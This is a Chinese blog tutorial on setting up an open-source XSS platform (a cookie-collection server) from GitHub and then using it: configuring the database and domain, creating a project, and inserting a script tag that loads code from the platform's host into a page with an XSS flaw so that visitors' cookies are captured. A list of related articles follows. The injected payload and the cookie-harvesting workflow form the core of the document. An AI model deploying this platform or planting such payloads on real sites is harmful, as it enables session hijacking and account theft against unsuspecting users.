XSS平台搭建及利用

简介: XSS平台搭建及利用

男孩子要娶,就要娶一见你就笑的女生,女孩子要嫁就要嫁能让你笑的男生。。。

----  网易云热评

一、下载平台源码、拷贝到我们网站的根目录

https://github.com/anwilx/xss_platform

image.png

二、修改相关参数

1、config.php,数据库用户、密码、还有xss平台的访问路径

image.png

2、导入sql文件,测试的时候没法导入,所以就手动创建了数据库

新建数据库

image.png

打开xssplatform.sql,将里面的sql语句执行一遍

image.png

3、更新站点域名,将作者的域名替换,一共有四处

将module模块里"http://xsser.me"替换为"http://www.aiyouxss.com/xss");

4、修改authtest文件

image.png

三、平台利用

1、注册一个账户

image.png

2、创建一个项目

image.png

3、配置相关信息,根据需要,添加模块

image.png

4、复制script里面代码,插入到存在xss漏洞的页面

  •  

<script src=http://192.168.139.129/xss/E3vbsa></script>

  • 1.

image.png

5、打开xss平台,已获取对方cookie

image.png

目录
相关文章
|
7月前
|
前端开发 网络安全
【XSS平台】使用(1),网络安全插件化+模块化+组件化+热修复
【XSS平台】使用(1),网络安全插件化+模块化+组件化+热修复
|
7月前
|
前端开发 网络安全
【XSS平台】使用,网络安全开发必学
【XSS平台】使用,网络安全开发必学
|
7月前
|
SQL 安全 数据库
XSS平台搭建及利用
XSS平台搭建及利用
329 1
|
Web App开发 SQL JavaScript
XSS练习平台【XSS Challenges】
XSS练习平台【XSS Challenges】
199 0
|
SQL 安全 数据库
XSS平台搭建及利用
XSS平台搭建及利用
1669 0
XSS平台搭建及利用
|
存储 弹性计算 安全
阿里云的运用——搭建属于自己的xss平台
在校期间搭建一个属于自己的xss平台
1068 0
阿里云的运用——搭建属于自己的xss平台
|
存储 开发框架 安全
科普跨站平台 XSS shell 使用方法
理解xss shell是什么之前,让我们一起回顾一下一些基本的xss(跨站脚本),xss是最常见的一个漏洞,存在于今天许多的web应用程序。xss是攻击者试图通过web应用程序执行恶意脚本的技术,攻击者通过突破同源策略的web应用程序。
578 0
科普跨站平台 XSS shell 使用方法
|
1月前
|
JavaScript 安全 前端开发
同源策略如何防止 XSS 攻击?
【10月更文挑战第31天】同源策略通过对 DOM 访问、Cookie 访问、脚本执行环境和跨源网络请求等多方面的严格限制,构建了一道坚实的安全防线,有效地防止了 XSS 攻击,保护了用户在网络浏览过程中的数据安全和隐私。
99 49
|
1月前
|
安全 前端开发 Java
Web安全进阶:XSS与CSRF攻击防御策略深度解析
【10月更文挑战第26天】Web安全是现代软件开发的重要领域,本文深入探讨了XSS和CSRF两种常见攻击的原理及防御策略。针对XSS,介绍了输入验证与转义、使用CSP、WAF、HTTP-only Cookie和代码审查等方法。对于CSRF,提出了启用CSRF保护、设置CSRF Token、使用HTTPS、二次验证和用户教育等措施。通过这些策略,开发者可以构建更安全的Web应用。
93 4